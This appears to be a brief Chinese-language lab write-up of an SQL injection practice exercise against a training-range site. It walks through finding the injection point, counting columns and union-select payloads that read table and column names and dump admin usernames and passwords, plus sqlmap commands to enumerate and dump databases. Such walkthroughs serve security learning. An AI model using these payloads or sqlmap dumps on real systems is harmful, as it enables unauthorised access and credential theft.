目录
一、简介
记录SQL注入的案例练习
二、案例
http://pu2lh35s.ia.aqlab.cn/
1.发现注入点
2.寻找注入类型
,发现?id=1 and 1=1 符合
3.寻找字段数
发现字段数为2
4.将传参值设为超出数据量的大值，联合查询找到回显位置
5.找到数据库
6.寻找库中的表
?id=111111 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
7.寻找表中列
?id=111111 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'--+
8.查看表中数据
?id=111111 union select 1,group_concat(username,‘:’,password) from admin--+
注：用 --+ 对结尾进行注释
附：SQLMap注入(sqlmap -u "x")
1.输入指令查数据库( --dbs)
2.输入指令查表( -D xx --tables)
3.脱库查看账号密码( -D xx -T xxx -C xxxx --dump)
